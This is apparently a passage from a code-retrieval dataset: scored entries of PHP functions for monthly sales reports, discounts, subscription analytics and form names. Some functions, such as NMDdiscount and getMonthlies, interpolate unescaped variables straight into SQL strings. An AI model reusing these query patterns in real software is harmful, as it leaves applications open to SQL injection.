\t\t\t\t\t$monthInfo[\"total_price\"]=0;\n\n \t\t\t\t\t$monthInfo[\"days\"]=$start_month_between_start_and_recurring->format('t');\n \t\t\t\t\t$monthInfo[\"action\"]=\"month after start active date\";\n }\n\n\n\n\t\t\tarray_push($monthsInfo,$monthInfo);\n\t\t\t$orderChild[\"requests\"]=$requests;\n\t\t\t$orderChild[\"monthInfo\"]=$monthsInfo;\n\n\t\t\tarray_push($orders,$orderChild);\n\t\t}\n\treturn $orders;\n\t}", "title": "" }, { "docid": "d843f3a3d216a97e9082e10342f33815", "score": "0.540005", "text": "function monthly_per_store_day_report($month_per_store_day,$year_per_store_day)\n {\n \n // $param['year'] = $month;\n // $param['month'] = $year;\n\n\n // $monthName = date('F', strtotime($year.\"-\".$month));\n\n // $date = $this->getDateNeed($year_per_store, $month_per_store);\n\n\n $arr = array('monthly' => array());\n $arr['monthly'] = array(\n 'store' => $this->queryForMonthStoreMonth(),\n 'mdscsi' => array(),\n '01' => $this->queryForMonthStoreDay($year_per_store_day, $month_per_store_day, '1'),\n '02' => $this->queryForMonthStoreDay($year_per_store_day, $month_per_store_day, '2'),\n '03' => $this->queryForMonthStoreDay($year_per_store_day, $month_per_store_day, '3'),\n '04' => $this->queryForMonthStoreDay($year_per_store_day, $month_per_store_day, '4'),\n '05' => $this->queryForMonthStoreDay($year_per_store_day, $month_per_store_day, '5'),\n '06' => $this->queryForMonthStoreDay($year_per_store_day, $month_per_store_day, '6'),\n '07' => $this->queryForMonthStoreDay($year_per_store_day, $month_per_store_day, '7'),\n '08' => $this->queryForMonthStoreDay($year_per_store_day, $month_per_store_day, '8'),\n '09' => $this->queryForMonthStoreDay($year_per_store_day, $month_per_store_day, '9'),\n '10' => $this->queryForMonthStoreDay($year_per_store_day, $month_per_store_day, '10'),\n '11' => $this->queryForMonthStoreDay($year_per_store_day, $month_per_store_day, '11'),\n '12' => $this->queryForMonthStoreDay($year_per_store_day, $month_per_store_day, '12'),\n '13' => $this->queryForMonthStoreDay($year_per_store_day, $month_per_store_day, '13'),\n '14' => $this->queryForMonthStoreDay($year_per_store_day, $month_per_store_day, '14'),\n '15' => $this->queryForMonthStoreDay($year_per_store_day, $month_per_store_day, '15'),\n '16' => $this->queryForMonthStoreDay($year_per_store_day, $month_per_store_day, '16'),\n '17' => $this->queryForMonthStoreDay($year_per_store_day, $month_per_store_day, '17'),\n '18' => $this->queryForMonthStoreDay($year_per_store_day, $month_per_store_day, '18'),\n '19' => $this->queryForMonthStoreDay($year_per_store_day, $month_per_store_day, '19'),\n '20' => $this->queryForMonthStoreDay($year_per_store_day, $month_per_store_day, '20'),\n '21' => $this->queryForMonthStoreDay($year_per_store_day, $month_per_store_day, '21'),\n '22' => $this->queryForMonthStoreDay($year_per_store_day, $month_per_store_day, '22'),\n '23' => $this->queryForMonthStoreDay($year_per_store_day, $month_per_store_day, '23'),\n '24' => $this->queryForMonthStoreDay($year_per_store_day, $month_per_store_day, '24'),\n '25' => $this->queryForMonthStoreDay($year_per_store_day, $month_per_store_day, '25'),\n '26' => $this->queryForMonthStoreDay($year_per_store_day, $month_per_store_day, '26'),\n '27' => $this->queryForMonthStoreDay($year_per_store_day, $month_per_store_day, '27'),\n '28' => $this->queryForMonthStoreDay($year_per_store_day, $month_per_store_day, '28'),\n '29' => $this->queryForMonthStoreDay($year_per_store_day, $month_per_store_day, '29'),\n '30' => $this->queryForMonthStoreDay($year_per_store_day, $month_per_store_day, '30'),\n '31' => $this->queryForMonthStoreDay($year_per_store_day, $month_per_store_day, '31')\n );\n\n \n \n $temp_arr = $arr;\n\n $temp_arr['monthly']['01']['0'] = $this->complete_arr_per_day($arr,'01');\n $temp_arr['monthly']['02']['0'] = $this->complete_arr_per_day($arr,'02');\n $temp_arr['monthly']['03']['0'] = $this->complete_arr_per_day($arr,'03');\n $temp_arr['monthly']['04']['0'] = $this->complete_arr_per_day($arr,'04');\n $temp_arr['monthly']['05']['0'] = $this->complete_arr_per_day($arr,'05');\n $temp_arr['monthly']['06']['0'] = $this->complete_arr_per_day($arr,'06');\n $temp_arr['monthly']['07']['0'] = $this->complete_arr_per_day($arr,'07');\n $temp_arr['monthly']['08']['0'] = $this->complete_arr_per_day($arr,'08');\n $temp_arr['monthly']['09']['0'] = $this->complete_arr_per_day($arr,'09');\n $temp_arr['monthly']['10']['0'] = $this->complete_arr_per_day($arr,'10');\n $temp_arr['monthly']['11']['0'] = $this->complete_arr_per_day($arr,'11');\n $temp_arr['monthly']['12']['0'] = $this->complete_arr_per_day($arr,'12');\n $temp_arr['monthly']['13']['0'] = $this->complete_arr_per_day($arr,'13');\n $temp_arr['monthly']['14']['0'] = $this->complete_arr_per_day($arr,'14');\n $temp_arr['monthly']['15']['0'] = $this->complete_arr_per_day($arr,'15');\n $temp_arr['monthly']['16']['0'] = $this->complete_arr_per_day($arr,'16');\n $temp_arr['monthly']['17']['0'] = $this->complete_arr_per_day($arr,'17');\n $temp_arr['monthly']['18']['0'] = $this->complete_arr_per_day($arr,'18');\n $temp_arr['monthly']['19']['0'] = $this->complete_arr_per_day($arr,'19');\n $temp_arr['monthly']['20']['0'] = $this->complete_arr_per_day($arr,'20');\n $temp_arr['monthly']['21']['0'] = $this->complete_arr_per_day($arr,'21');\n $temp_arr['monthly']['22']['0'] = $this->complete_arr_per_day($arr,'22');\n $temp_arr['monthly']['23']['0'] = $this->complete_arr_per_day($arr,'23');\n $temp_arr['monthly']['24']['0'] = $this->complete_arr_per_day($arr,'24');\n $temp_arr['monthly']['25']['0'] = $this->complete_arr_per_day($arr,'25');\n $temp_arr['monthly']['26']['0'] = $this->complete_arr_per_day($arr,'26');\n $temp_arr['monthly']['27']['0'] = $this->complete_arr_per_day($arr,'27');\n $temp_arr['monthly']['28']['0'] = $this->complete_arr_per_day($arr,'28');\n $temp_arr['monthly']['29']['0'] = $this->complete_arr_per_day($arr,'29');\n $temp_arr['monthly']['30']['0'] = $this->complete_arr_per_day($arr,'30');\n $temp_arr['monthly']['31']['0'] = $this->complete_arr_per_day($arr,'31');\n\n $temp_arr['monthly']['mdscsi'] = $this->forMonth_perday_getOvrAllStore($temp_arr);\n\n\n $this->get_csv_report_monthly_store_perday($temp_arr,$year_per_store_day, $month_per_store_day);\n\n return $temp_arr;\n }", "title": "" }, { "docid": "665c485439f91c93034cf838491b6c16", "score": "0.5399897", "text": "public function fetchAllUnpaid(){\n }", "title": "" }, { "docid": "4ca4e9b7756aa88f988eb3c9d9cf9465", "score": "0.5396352", "text": "function NMDdiscount($table,$date1,$date2) {\n\trequire('conf.php');\n\n\tif (!isset($date2) || $date2 == '') {$date2 = $date1;}\n\t\n\t$NMDQ = \"SELECT (-SUM(total) * 0.1) AS NMD_total\n\t\tFROM \" . DB_LOGNAME . \".$table\n\t\tWHERE date(datetime) >= '$date1' AND date(datetime) <= '$date2'\n\t\tAND department BETWEEN 1 AND 20\n\t\tAND card_no = 99910\n\t\tAND trans_status <> 'X' \n\t\tAND emp_no <> 9999\";\n\t\t\n\t$NMDnumQ = \"SELECT * FROM \" . DB_LOGNAME . \".$table\n\t\tWHERE date(datetime) >= '$date1' AND date(datetime) <= '$date2'\n\t\tAND department BETWEEN 1 AND 20\n\t\tAND card_no = 99910\n\t\tAND trans_status <> 'X' \n\t\tAND emp_no <> 9999\";\n\t\n\t// echo $NMDQ;\n\t\n\t$NMDR = mysql_query($NMDQ);\n\t$NMDnumR = mysql_query($NMDnumQ);\n\t$NMD_num = mysql_num_rows($NMDnumR);\n\t$row = mysql_fetch_row($NMDR);\n\t$NMD_total = $row[0];\n\tif (is_null($NMD_total)) { $NMD_total = 0;}\n\t\n\t\n\treturn compact('NMD_total', 'NMD_num');\n}", "title": "" }, { "docid": "55d0d062bf74db216ebdaedde4b951a0", "score": "0.53924966", "text": "public function get_daily_discounts_rendered($date)\r\n {\r\n $this->db->select('SUM(discount) AS discount'); \r\n \r\n $this->db->from($this->table);\r\n\r\n $date_from = $date . ' 00:00:00'; // get date today to filter\r\n $date_to = $date . ' 23:59:59';\r\n\r\n $this->db->where('status', 'CLEARED'); // transaction status should be cleared (paid by customer already)\r\n $this->db->where('datetime >=', $date_from);\r\n $this->db->where('datetime <=', $date_to);\r\n \r\n $query = $this->db->get();\r\n\r\n return $query->row()->discount + 0;\r\n }", "title": "" }, { "docid": "af549a107eec46e0771076f195352fc6", "score": "0.53852475", "text": "function monthly_per_store_report($month_per_store,$year_per_store)\n {\n \n // $param['year'] = $month;\n // $param['month'] = $year;\n\n\n // $monthName = date('F', strtotime($year.\"-\".$month));\n\n $date = $this->getDateNeed($year_per_store, $month_per_store);\n\n $arr = array('monthly' => array());\n $arr['monthly'] = array(\n 'mdscsi' => array(),\n 'voice' => $this->queryForMonthStore($date['year'], $date['month'], $date['from'], $date['to'], 'voice'),\n 'web' => $this->queryForMonthStore($date['year'], $date['month'], $date['from'], $date['to'], 'web'),\n 'gcashminiprogram' => $this->queryForMonthStore($date['year'], $date['month'], $date['from'], $date['to'], 'gcashminiprogram'),\n 'mobile_app' => $this->queryForMonthStore($date['year'], $date['month'], $date['from'], $date['to'], 'mobile_app'),\n 'ctc' => $this->queryForMonthStore($date['year'], $date['month'], $date['from'], $date['to'], 'ctc'),\n 'fbchatbot' => $this->queryForMonthStore($date['year'], $date['month'], $date['from'], $date['to'], 'fbchatbot')\n );\n $arr['monthly']['mdscsi'] = $this->forMonth_getOvrAllStore($arr);\n\n \n \n $temp_arr = $arr;\n\n $temp_arr['monthly']['voice']['0'] = $this->complete_arr($arr,'voice');\n $temp_arr['monthly']['web']['0'] = $this->complete_arr($arr,'web');\n $temp_arr['monthly']['gcashminiprogram']['0'] = $this->complete_arr($arr,'gcashminiprogram');\n $temp_arr['monthly']['mobile_app']['0'] = $this->complete_arr($arr,'mobile_app');\n $temp_arr['monthly']['ctc']['0'] = $this->complete_arr($arr,'ctc');\n $temp_arr['monthly']['fbchatbot']['0'] = $this->complete_arr($arr,'fbchatbot');\n\n $this->get_csv_report_monthly_store($temp_arr,$year_per_store, $month_per_store);\n\n return $temp_arr;\n }", "title": "" }, { "docid": "062a33db865214082065f048f608680c", "score": "0.53848875", "text": "public function analyticsDashboard()\n {\n $me = Auth::guard('representative')->user();\n\n //query para cobranças\n $first_day_month = date(\"Y-m-01\");\n $last_day_month = date(\"Y-m-t\");\n\n //Check clients overdue payments\n $clients_me = Client::select('id')->where('representative_id', $me->id)->get();\n $subscriptions_clients_me = Subscription::whereIn('client_id', $clients_me)->get();\n $clients_overdue = array();\n foreach($subscriptions_clients_me as $subscription) {\n $payments_subscriptions_temp = $subscription->payments()->where('situation', '=', 'OVERDUE')->groupBy('subscription_id')->get();\n //Test count if payments overdue\n if(count($payments_subscriptions_temp) > 0) {\n foreach($payments_subscriptions_temp as $payment_subscription) {\n $client = $subscription->client()->first();\n if(!in_array($client, $clients_overdue)) {\n $clients_overdue[] = $client;\n }\n }\n }\n }\n\n $ids_payments_subscriptions = CommissionRepresentative::select('payment_subscription_id')->where('representative_id', $me->id)->get();\n\n //Subscriptions of current month\n $subscriptions_month = array();\n \n foreach($ids_payments_subscriptions as $commission) {\n $payments = $commission->payment_subscription()->get();\n foreach($payments as $payment) {\n foreach ($payment->subscription()->whereBetween('date_created', [$first_day_month,$last_day_month])->get() as $subscription) {\n $client = $subscription->client()->first();\n $subscription->client = $client;\n if(!in_array($subscription, $subscriptions_month)) {\n $subscriptions_month[] = $subscription;\n }\n }\n }\n }\n\n //Payments subscriptions of current month\n $payments_subscriptions_month = PaymentSubscription::whereIn('id', $ids_payments_subscriptions)\n ->where(function($query) use ($first_day_month, $last_day_month) {\n $query->whereBetween('due_date', [$first_day_month,$last_day_month]);\n $query->where('situation', '!=', 'DELETED');\n })\n ->orderBy('due_date')\n ->get();\n\n //Expected value for this month\n $expected_value = 0;\n \n foreach ($payments_subscriptions_month as $payment) {\n if($me->type_commision == \"value\") {\n $expected_value = $expected_value + $me->value;\n } else {\n $percentage = $me->percentage / 100;\n $value_commission = $payment->price * $percentage;\n $expected_value = $expected_value + $value_commission;\n }\n \n }\n \n \n return response()->json([\n 'analytics' => array(\n 'total_subscriptions_current_month' => count($subscriptions_month),\n 'total_payments_subscriptions_current_month' => count($payments_subscriptions_month),\n 'total_price_current_month' => ceil($expected_value),\n 'clients_overdue' => count($clients_overdue)\n )\n ], 200);\n\n }", "title": "" }, { "docid": "6bf18e5f79cd2763da53aaf21bf3acd2", "score": "0.53786904", "text": "function download_get_discounts( $download_id ) {\n\t$discounts = edd_get_cart_discounts();\n\n\tif ( empty( $discounts ) ) {\n\t\t$discounts = array();\n\t}\n\n\t$discounts = array_map( function( $discount_code ) {\n\t\t$discount_id = edd_get_discount_id_by_code( $discount_code );\n\n\t\treturn array(\n\t\t\t'code' => $discount_code,\n\t\t\t'id' => $discount_id,\n\t\t\t'name' => get_post_meta( $discount_id, '_edd_discount_name', true ),\n\t\t);\n\t}, $discounts );\n\n\treturn array_filter( $discounts, function( $discount ) use ( $download_id ) {\n\t\t$requirements = edd_get_discount_product_reqs( $discount['id'] );\n\t\t$excluded = edd_get_discount_excluded_products( $discount['id'] );\n\n\t\treturn ( in_array( $download_id, $requirements ) && ! in_array( $download_id, $excluded ) );\n\t});\n}", "title": "" }, { "docid": "439bf4492db1ab9272dba49e7a43e2d1", "score": "0.5365241", "text": "public function getQuotesByMonth()\n {\n\n $monthdata = [];\n\n for ($month = 1; $month <= (date('m') + 12); $month++) {\n\n $start = mktime(0, 0, 0, $month, 1, date(\"Y\", strtotime('-1 year')));\n $end = mktime(23, 59, 0, $month, date('t', $start), date(\"Y\", strtotime('-1 year')));\n\n $this->select('id')\n ->where('datetime', '>=', $start)\n ->where('datetime', '<=', $end)\n ->show();\n\n $quotecount = $this->count();\n\n if ($month >= 13) {\n $newmonth = $month - 12;\n $dateObj = \\DateTime::createFromFormat('!m', $newmonth);\n } else {\n $dateObj = \\DateTime::createFromFormat('!m', $month);\n }\n\n $monthName = $dateObj->format('M'); // March\n $monthdata[$monthName] = $quotecount;\n }\n\n return $monthdata;\n }", "title": "" }, { "docid": "856b8d7e4a0c0f6744d25b8e3f16e3c0", "score": "0.5351787", "text": "public function get_monthly_net_sales($month, $year)\r\n {\r\n $this->db->select('SUM(cash_amt - change_amt) AS total'); \r\n \r\n $this->db->from($this->table);\r\n\r\n $date_from = $year . '-' . $month . '-01 00:00:00';\r\n $date_to = $year . '-' . $month . '-31 23:59:59';\r\n\r\n $status = array('CLEARED', 'REFUNDED');\r\n $this->db->where_in('status', $status);\r\n\r\n $this->db->where('datetime >=', $date_from);\r\n $this->db->where('datetime <=', $date_to);\r\n \r\n $query = $this->db->get();\r\n\r\n return $query->row()->total + 0;\r\n }", "title": "" }, { "docid": "b20aa1b0d2f941325bdfda4e3da166dd", "score": "0.5344394", "text": "public function customers_need_merge_monthly($year,$month) {\n\n\n $this->query(\"SET CHARACTER SET utf8\");\n\n $query=\"SELECT orders.order_id as id,\n orders.*,order_options.*,merchantrefs.*\n ,resellers.full_name as 'reseller_name',`customers`.`full_name` as 'customer_name'\n from orders\n INNER JOIN `customers` on `orders`.`customer_id`=`customers`.`customer_id`\n INNER JOIN `customers` resellers on resellers.`customer_id` = `orders`.`reseller_id`\n INNER join order_options on orders.order_id= order_options.order_id\n LEFT join merchantrefs on orders.order_id= merchantrefs.order_id\n where product_subscription_type='monthly' and\n orders.customer_id in (SELECT customer_id FROM `orders` group by customer_id HAVING count(customer_id)>1 ) ORDER BY `orders`.customer_id\";\n //echo $query;\n $ordersResult = $this->query($query);\n\n\n $order_rows=array();\n while ($order_row = $this->fetch_assoc($ordersResult)) {\n $order_row['order_id']=$order_row['id'];\n array_push($order_rows,$order_row);\n }\n $customers=array();\n for($i=0;$i<sizeof($order_rows);$i=$i+2){\n\n $customer=array();\n $orderOne=$this->fillOrderInfo($order_rows[$i],$year,$month);\n $orderTwo=$this->fillOrderInfo($order_rows[$i+1],$year,$month);\n\n $currentDate = new DateTime($year.\"-\".$month.\"-01\");\n $firstRecurring = new DateTime($year.\"-\".$month.\"-01\");\n $interval = new DateInterval('P1M');\n $firstRecurring->add($interval);\n\n $compareOrderRecurringDate=new DateTime($orderTwo[\"recurring_date\"]);\n\n $orderOneStartActiveDate = new DateTime($orderOne[\"recurring_date\"]);\n\n if($orderOneStartActiveDate>$compareOrderRecurringDate)\n $compareOrderRecurringDate=$orderOneStartActiveDate;\n\n //echo $compareOrderRecurringDate->format('Y-m-d').\"!==\".$firstRecurring->format('Y-m-d').\"</br>\";\n if($compareOrderRecurringDate->format('Y-m-d')!==$firstRecurring->format('Y-m-d'))\n continue;\n\n\n\n if(!$orderOne || !$orderTwo)\n {\n continue;\n }\n\n //while ($order_row = $this->fetch_assoc($ordersResult)) {\n //$monthsInfoOne=$this->fill_order_price_details($orderOne,$year,$month);\n //$monthsInfoTwo=$this->fill_order_price_details($orderTwo,$year,$month);\n\n $monthsInfoOne=$this->fill_order_price_details_2($orderOne,$year,$month);\n $monthsInfoTwo=$this->fill_order_price_details_2($orderTwo,$year,$month);\n\n $orders=array();\n $orderOne[\"monthInfo\"]=$monthsInfoOne;\n $orderTwo[\"monthInfo\"]=$monthsInfoTwo;\n\n array_push($orders,$orderOne);\n array_push($orders,$orderTwo);\n $customer[\"customer_name\"]=$order_rows[$i][\"customer_name\"];\n $customer[\"reseller_name\"]=$order_rows[$i][\"reseller_name\"];\n $customer[\"merchantref\"]=$order_rows[$i][\"merchantref\"];\n $customer[\"orders\"]=$orders;\n\n\n\n array_push($customers,$customer);\n //$tempDate = new DateTime($year.\"-\".$month.\"-01\");\n //$postDate = new DateTime($year.\"-\".$month.\"-\".$tempDate->format( 't' ));\n }\n\nreturn $customers;\n\n}", "title": "" }, { "docid": "a6e43cebb99eb5123a2e9ba92885750f", "score": "0.5344321", "text": "private function currentMonthDetailsTechnical() {\n $customerCount = DB::table('customers as c')\n ->join('policies as p', 'p.customer_id', '=', 'c.id')\n ->whereYear('p.end_date', '=', date('Y'))\n ->whereIn('p.policy_status', [2,4])\n ->count();\n\n $policyCount = DB::table('policies as p')\n ->whereYear('p.start_date', '=', date('Y'))\n ->where('p.policy_status', [2])\n ->count();\n $claimCount = DB::table('policy_claims as pc')\n ->whereYear('pc.created_date', '=', date('Y'))\n \n ->count();\n\n\n $policySum = DB::table('customers as c')\n ->join('policies as p', 'p.customer_id', '=', 'c.id')\n ->select(DB::raw('sum(p.total_premium)'))\n ->whereYear('p.start_date', '=', date('Y'))\n ->where('p.policy_status', 2)\n ->sum('p.total_premium');\n \n// $policySum =DB::table('policy_intallment as im')\n// ->leftJoin('policy_endorsement as e', 'e.id', '=', 'im.endorsement_id')\n// ->whereYear('im.due_date', '=', date('Y'))\n// ->where(function ($query) {\n// $query ->where('e.endorsement_status', '=', 2)\n// ->orWhere('e.endorsement_status', '=', null);\n// })\n// \n// \n// ->sum(function ($row) {\n// return $row->amount + $row->vat_amount;\n//});\n\n\n return array('policyCount' => $policyCount, 'policySum' => $policySum, 'claimCount' => $claimCount, 'customerCount' => $customerCount);\n }", "title": "" }, { "docid": "00def21d9b4bdfc36eea2b9d617fb942", "score": "0.5343232", "text": "public static function getMonthlies($clientID) {\n $query = \"SELECT * FROM monthly WHERE monthlyClientID = '$clientID'\";\n\n try {\n $db = Database::getDB();\n $statement = $db->prepare($query);\n $statement->execute();\n $result = $statement->fetchAll();\n $statement->closeCursor();\n\n $monthlies = array();\n\n foreach ($result as $row) {\n $arrayMonthly = self::prepareArrayMonthly($row);\n $monthly = new Monthly($arrayMonthly);\n $monthly->setID($row['monthlyID']);\n $monthlies[] = $monthly;\n }\n\n return $monthlies;\n\n } catch(PDOException $e) {\n require_once 'error/error_manager.php';\n $errorMessage = errorManager(__FILE__, __FUNCTION__, $e->getCode(), $e->getMessage());\n include 'error/error_message.php';\n exit();\n }\n }", "title": "" }, { "docid": "055cffa014ad29f54fbbfc6dfd61de06", "score": "0.5341838", "text": "function calcuateDiscount() {\n\t\treturn 10 ;\t\n\t}", "title": "" }, { "docid": "2869b099ed9346e01f56f2377306f4b9", "score": "0.5331358", "text": "function get_samity_wise_monthly_savings_collection_report_data($member_list,$samity_id,$date,$branch_id= null,$primary_product_id=null)\n\t{\n\t\tif(empty($member_list) || empty($date) || !is_numeric($samity_id)) {\n\t\t\treturn false;\n\t\t}\t\n\t\t$active_member_name_code=$this->Report->get_active_member_name_code($member_list);\t\n\t\t//echo \"<br/> \";echo \"<pre>\";print_r($active_member_name_code);\n\t\t//print('<br>');print($samity_id);print('<br>');print($primary_product_id);print('<br>');print($member_list);print('<br>');print($date);print('<br>');\n\t\t$active_member_previous_savings_balance =$this->savings_base_class->get_active_member_previous_savings_balance($member_list,$date,$branch_id,$samity_id,$primary_product_id);\n\t\t//print(\"hellooooooooooooo\");die;\n\t\t//echo \"<br/>\";echo \"<pre>\";print_r($active_member_previous_savings_balance);die;\n\t\t$active_member_savings_auto=$this->savings_base_class->get_active_member_savings_auto($member_list,$date,$branch_id,$samity_id,$primary_product_id);\n\t\t//print(\"hellooooooooooooo\");die;\n\t\t//echo \"<br/>2 \";echo \"<pre>\";print_r($active_member_savings_auto);die;\n\t\t$active_member_previous_skt_balance=$this->get_active_member_previous_skt_balance($member_list,$date,$branch_id,$samity_id,$primary_product_id);\t\t\n\t\t//print(\"hellooooooooooooo\");\n\t\t//echo \"<br/>3 \";echo \"<pre>\";\n\t\t//print_r($active_member_previous_skt_balance);\tdie;\t\t\n\n\t\t$samity_wise_monthly_savings_collection_report_data=array();\n\t\t$i=0;\n\t\tforeach($active_member_name_code as $row)\n\t\t{\n\t\t\t$i++;\n\t\t\t$samity_wise_monthly_savings_collection_report_data[$i]['member_name']=$row->member_name;\n\t\t\t$samity_wise_monthly_savings_collection_report_data[$i]['member_code']=$row->member_code;\n\t\t\t$samity_wise_monthly_savings_collection_report_data[$i]['member_id']=$row->id;\n\t\t\t$samity_wise_monthly_savings_collection_report_data[$i]['previous_savings_balance']=0;\n\t\t\t$samity_wise_monthly_savings_collection_report_data[$i]['previous_skt_balance']=0;\n\t\t\t$samity_wise_monthly_savings_collection_report_data[$i]['savings_auto']=0;\t\t\t\t\n\n\t\t\tif (array_key_exists($row->id, $active_member_previous_savings_balance)) { \n\t\t\t\t$samity_wise_monthly_savings_collection_report_data[$i]['previous_savings_balance']=$active_member_previous_savings_balance[$row->id];\n\t\t\t}\n\t\t\tif (array_key_exists($row->id,$active_member_savings_auto)) {\n\t\t\t\t$samity_wise_monthly_savings_collection_report_data[$i]['savings_auto']=$active_member_savings_auto[$row->id];\n\t\t\t}\n\t\t\tif (array_key_exists($row->id,$active_member_previous_skt_balance)) {\n\t\t\t\t$samity_wise_monthly_savings_collection_report_data[$i]['previous_skt_balance']=$active_member_previous_skt_balance[$row->id];\n\t\t\t}\t\t\t\t\t\t\t\t\t\t\n\t\t}\t\n\t\t//echo \"<br/>6 \";echo \"<pre>\";print_r($samity_wise_monthly_savings_collection_report_data);die;\n\t\treturn $samity_wise_monthly_savings_collection_report_data;\t\t\n\t}", "title": "" }, { "docid": "a7e658310712ce4b5ffad13dea90817a", "score": "0.5326569", "text": "public function getMonthlyPosts(){\n $year = date('Y');\n $month = date('m');\n $this->db->query('SELECT created_at FROM ' . $this->table . ' WHERE year(created_at) = :yearN');\n $this->db->bind(':yearN', $year);\n $results = $this->db->resultSet();\n return $results;\n }", "title": "" }, { "docid": "0da0930c1864c45b02dff7b753ca6597", "score": "0.5323599", "text": "public function getDiscounts()\n {\n return number_format($this->order->getDiscountAmount(), 2, '.', '');\n }", "title": "" }, { "docid": "dd3f4d1882a8b27acba70840f0419bfa", "score": "0.53235", "text": "public function get_certificate_amounts() {\n\t\t\tglobal $dbh;\n\t\t\n\t\t$sql_query = \"SELECT\n\t\t\t\t\t\tid,\n\t\t\t\t\t\tdiscount_amount,\n\t\t\t\t\t\tcost,\n\t\t\t\t\t\tmin_spend_amts\n\t\t\t\t\t FROM\n\t\t\t\t\t\t\".$this->tbl_nme.\"\n\t\t\t\t\t ORDER BY \n\t\t\t\t\t \tcrtamt_sort ASC\n\t\t\t\t\t ;\";\n\t\t\n\t\t$stmt = $dbh->prepare($sql_query);\t\t\t\t\t \n\t\t$result = $stmt->execute();\n\t\n\t\t$results = array();\n\t\twhile ($row = $result->fetchRow(MDB2_FETCHMODE_ASSOC)) {\n\t\t\t$results[] = $row;\n\t\t}\n\n\t\t// clear result set\n\t\t$result->free();\n\t\t\n\t\t// reset DB conn\n\t\tdb_check_conn();\n\n\treturn $results;\n\t}", "title": "" }, { "docid": "1de93ab8a8f70084f12b5c65c465ef55", "score": "0.5310591", "text": "public function getDiscount(): DiscountContract;", "title": "" }, { "docid": "8deb35a08e02c75658aba844f69ab994", "score": "0.53019977", "text": "public function get_unpaid_orders($date);", "title": "" }, { "docid": "45d08ed2e3080e1023828085ed2bd1e5", "score": "0.53005165", "text": "public function get_monthly_net_sales_stats($month, $year)\r\n {\r\n $this->db->select('SUM(cash_amt - change_amt) AS total'); \r\n \r\n $this->db->from($this->table);\r\n\r\n $date_from = $year . '-' . $month . '-01 00:00:00';\r\n $date_to = $year . '-' . $month . '-31 23:59:59';\r\n\r\n $status = array('CLEARED', 'REFUNDED');\r\n $this->db->where_in('status', $status);\r\n\r\n $this->db->where('datetime >=', $date_from);\r\n $this->db->where('datetime <=', $date_to);\r\n \r\n $query = $this->db->get();\r\n\r\n return $query->row()->total;\r\n }", "title": "" }, { "docid": "8a7d6d50daed23148147aea924c258c0", "score": "0.5300387", "text": "public function getItemDiscountMap(): array;", "title": "" } ]
1415c8e0fd3bb595c7dc0a70c6e96d41
Name for this form, ideally it would be application unique, best to prefix it with the name of the module it's for.
[ { "docid": "708c3de9530dae34302b49f5d7b4948d", "score": "0.6598481", "text": "public function name(): string\n {\n return 'edit-settings';\n }", "title": "" } ]
[ { "docid": "ca46f2157856bbf1a8076506821d0232", "score": "0.79459566", "text": "public function name() {\n\t\treturn __( 'Form wrapper', 'thrive-dash' );\n\t}", "title": "" }, { "docid": "88ca449979b45b51c7bd519574f26342", "score": "0.7716131", "text": "public function getName()\n {\n return 'site_form';\n }", "title": "" }, { "docid": "c2729f7247760c950ed676a285c044da", "score": "0.75370383", "text": "public function getName()\n {\n return \"user_edit_form\";\n }", "title": "" }, { "docid": "938cb16b7f6500f5682619b03dc6caf5", "score": "0.7521289", "text": "protected function getFormObjectName() {}", "title": "" }, { "docid": "938cb16b7f6500f5682619b03dc6caf5", "score": "0.75196356", "text": "protected function getFormObjectName() {}", "title": "" }, { "docid": "a8328634d0a7ca07c191072f12d7619d", "score": "0.7431686", "text": "public function getFormName()\n {\n return Magenifieddebugging_Blockinformation_Form_Search_Text::FORM_NAME;\n }", "title": "" }, { "docid": "156976479dff0cbee7974bdcab918c98", "score": "0.7300646", "text": "public function getName()\n {\n return \"ItemForm\";\n // TODO: Implement getName() method.\n }", "title": "" }, { "docid": "78b28869400b029cf7abe50e63d01166", "score": "0.70803255", "text": "public function get_name() {\n return 'houzez_elementor_inquiry_form';\n }", "title": "" }, { "docid": "0cf5f2f2b7578ed8d22a09cda5e6e5fc", "score": "0.7076506", "text": "public function getName()\n {\n return 'davamigo_translator_save_form';\n }", "title": "" }, { "docid": "b5a1433760e0b24f582b21397f351b32", "score": "0.7056769", "text": "public function getForm_element_name()\n\t{\n\t\treturn $this->form_element_name;\n\t}", "title": "" }, { "docid": "8713478c2bc5d1ef5fe5c43a1339330e", "score": "0.6994064", "text": "public function getFormName()\n {\n return 'content_block_' . $this->ContentBlockVersion->content_block_id;\n }", "title": "" }, { "docid": "b12b14fed39f94cc00b795656b18f24e", "score": "0.69883454", "text": "public function getName() {\n\t\treturn str_replace('FormBuilderFramework', '', $this->className());\n\t}", "title": "" }, { "docid": "3c79f3d21c8134948b735db66a34e550", "score": "0.6880092", "text": "public function getName() {\n\treturn 'contactform';\n }", "title": "" }, { "docid": "a9ffa8e7b68def4e2f4a70366039e7ee", "score": "0.68605256", "text": "public function formClass()\n {\n return 'form_settings';\n }", "title": "" }, { "docid": "c8cff1de112cf09d803953811e528da9", "score": "0.6860313", "text": "function getJSName() {\r\n return 'document.forms[\"'. $this->name .'\"]';\r\n }", "title": "" }, { "docid": "5d79acad7a707f5da2f543763c5e2ba8", "score": "0.685201", "text": "public function getFormClassName()\n {\n return get_form_class_name($this);\n }", "title": "" }, { "docid": "17d8bdc20a0ca0a4e999eecd567d2688", "score": "0.6845413", "text": "public function setFormName(?string $formName);", "title": "" }, { "docid": "1968c56f6682e2808ee90e6ea3d03017", "score": "0.68254536", "text": "function formClass()\n {\n return 'form_settings';\n }", "title": "" }, { "docid": "64180ace0992d83224c62acd19fe2aaf", "score": "0.6803097", "text": "function editForm() {\n return 'CRM_kid_Form_Kid';\n }", "title": "" }, { "docid": "f635e7c69f92cb41041a4836acd8fb1a", "score": "0.680069", "text": "public function setFormName($name) {\n $this->form_name = $name;\n }", "title": "" }, { "docid": "521ddb0401b503adaf4e9507106940b7", "score": "0.6778254", "text": "public function getName()\n {\n return 'formTraza';\n }", "title": "" }, { "docid": "d4a4c47d4621c118df2c884d68c18cf6", "score": "0.67774725", "text": "public function getFormId() {\n return 'xatkit_form';\n }", "title": "" }, { "docid": "35c00868c1c45fe7a8efcf9c20a1c3f7", "score": "0.67697126", "text": "public function getFormFieldName()\n {\n return ($this->getData('form_field_name') ? $this->getData('form_field_name') : 'massaction');\n }", "title": "" }, { "docid": "d8896c49b72a7792768cc2f557a37d13", "score": "0.67547405", "text": "public function getName()\n {\n return 'sm_get_reports_form';\n }", "title": "" }, { "docid": "dde20539de9b9f06f214a84cde079195", "score": "0.6748974", "text": "public function getFormTitle()\n {\n return 